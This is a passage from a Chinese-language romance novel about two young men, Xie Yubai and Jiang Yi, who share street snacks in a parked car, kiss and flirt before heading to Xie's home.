谢逾白的腕骨棱角分明,右手腕上,佩戴着百达翡丽的新款手表,精致的表盘与金属表带,他的手稳稳地握着方向盘,手臂线条随着动作微微起伏,矜冷气质不经意间流露出撩人的性感 ,“去哪里?” 江逸一双眼睛在他身上不停打转儿,手把运动服的领口往上拉,压不住的嘴角藏进领口,他有种不可思议的错觉,他怎么把这么帅的男朋友搞到手的,不仅帅,多金,还聪明。 谢逾白伸出一只手,在他眼前晃了晃,“我问你去哪?” “去你家。”江逸脱口而出,说完脸皮发烫。 谢逾白侧头看他,“不饿吗?我以为你想出去吃。” “不算饿,想先洗澡,怕你等太久,没洗澡就出来了,身上黏黏糊糊的不舒服。” 谢逾白点了点头,“这样吧,你洗澡的时候,我去买菜,家里冰箱空了。” “随便你吧。” 谢逾白眼神不解地看他几眼,“你领口拉下来一些,脸色有点红,呼吸不顺畅?” “你当我五岁小孩?我运动以后脸就这样。”江逸扭头看窗外。 天气变暖,行人很多,街边的小摊位多了起来,“谢逾白,快停车。” 谢逾白转动方向盘,开了一段停车,“你怎么一惊一乍的。” “哎呀,开了这么远,你等着,我去买糖葫芦,有煮玉米,烤地瓜,你想吃哪种?” 谢逾白顺着他的视线,透着窗口往后看,“你想吃,能不能等我给你做?”他总觉得外面的东西不太干净。 “等不了了。”江逸开门,风一般地下了车,不一会儿他回来,手里捧着好几个袋子,热气腾腾的,他手里举着一串红彤彤的糖葫芦,宛如握着一束甜蜜的光,脸上洋溢着阳光的笑。 糖葫芦伸到谢逾白面前,“你吃一口。” 谢逾白不禁回想,上次两人吵架,他在前面走,江逸在后面买糖葫芦的情景,他唇角向上牵起,“等红灯,我再吃,你先吃。” 江逸刚想吃,看了看车里,内饰很新,精致,他默默把拿着糖葫芦的手放在一边。 “你怎么不吃?” “回家吃,别把你车弄脏了。” 谢逾白眉棱一挑,靠边停车,“江逸,你现在吃,我看着你吃。” “什么意思?” “车脏了我会处理,你想吃了不用忍。”他胳膊搭在方向盘上,矜冷的眼神看着江逸,“吃吧,吃完再走。” 江逸扑哧一笑,“谢逾白,你现在越来越霸道了,霸总预定。” 车停在车位上,谢逾白拿走烤地瓜,细心地给他剥开皮。江逸眼神发愣,“你如果一开始就这么温柔,何必等了那么久我们才在一起?” 谢逾白把剥得金黄的地瓜瓤递到他嘴边,“那时候,你天天跟别人亲密地在一起,指望我对你温柔什么?” 江逸咬了一口,“真甜。” 谢逾白从身后拿来一杯咖啡,“渴吗?” “你有咖啡怎么不一上车就给我?”江逸吸着吸管,温度稍微有点烫。 “早给你,太烫了,你不能喝,容易烫到。” 江逸眼神痴恋地看着他,心中微暖,这种细节他是怎么注意到的,跟他恋爱的日子,身体像浸在暖洋之中,他没头没脑地说了一句,“谢逾白,接吻吗?” 谢逾白正在剥地瓜的手指一顿,一块地瓜皮掉在了车脚垫上,“现在?” 江逸低着头,“嗯”了一声。 车停在路边,行人时不时地往来,谢逾白手指握紧方向盘,指节泛白。 两人很多天没有什么亲密接触,在学校尽量克制着。 江逸快速看了他一眼,“你头转过来。” 他还没什么动作,谢逾白的耳朵先红了,江逸失笑道:“你能不能别装纯情了,把我压在身下没完没了的不是你啊?” 谢逾白侧身上前捂住他的嘴,上半身的重量压在他身上,“你口无遮拦的,我早想收拾你了。你欠我一顿,敢这么嚣张。” 江逸更想逗他,“你说完整话,我欠你一顿什么?” 谢逾白唇线绷紧,不吱声。 柔软滑腻的触感自掌心传来,江逸在舔他,谢逾白松开他的唇,附过去堵住他,风衣领口被江逸的手扯住,身体不断向前。 两人像渴了很久一样,唇瓣紧紧贴合,江逸的唇齿残留着咖啡的香气,舌尖软软滑滑,像狡猾的小蛇,勾着谢逾白,让他方寸大乱。 谢逾白的舌头伸进江逸嘴里,两人缠缠绵绵地接吻,交换着彼此的渴望,很快,江逸喘息不稳,红唇泛着水光,“谢逾白,去你家继续。” 谢逾白意犹未尽地捏着他的下巴,再次贴上他的唇,“闭眼,张嘴。” 车厢里的温度慢慢变高,江逸的衣领有些乱,眼神迷蒙,被亲得呼吸困难,脸颊红透。 谢逾白捏了下他的耳垂,“你就折磨我吧。” 江逸缓了一会儿,指尖有点麻,喜欢这种情绪似乎会传染,越来越喜欢谢逾白,喜欢贪恋地看他,喜欢跟他接吻,这种亲密深入骨髓。 他有一瞬间的错乱担忧,恋爱上头,太迷惑了。车停在车位,谢逾白看着江逸,“你先上去,我去买菜,很快回来。” 江逸伸出细白的手指,扯着他的衣领,“你买个屁的菜,先跟我上去。”他笑意浅浅,“我想先吃你。” 谢逾白反应过来,在他脸上亲了一下,“你只能先吃饭。” 江逸一怔,“在一起这么段时间,你就不行了?” 谢逾白把人压在车座里,深深地吻他,“胡说什么,你今天乖一点,我不能乱来。” “为什么?”江逸耳朵通红一片。 谢逾白鼻尖贴着他的,幽深瞳孔温暖深沉,“明天你去面试,要保存体力。” 江逸嘴角一掀,“你以为你多厉害?明天我早缓过来了。我看你就是不行。” 一只手拉着他的手,谢逾白眸中情意缓缓流淌,声音低哑,“感受到了吗?我行不行?” “你这么快有反应了?” 谢逾白指腹摩擦他的耳廓,温热的呼吸落在他脸上,“反应一路了,刚刚差点闯红灯。” 他看江逸一眼,补了一句:“安全起见,以后禁止你坐副驾驶。”《 》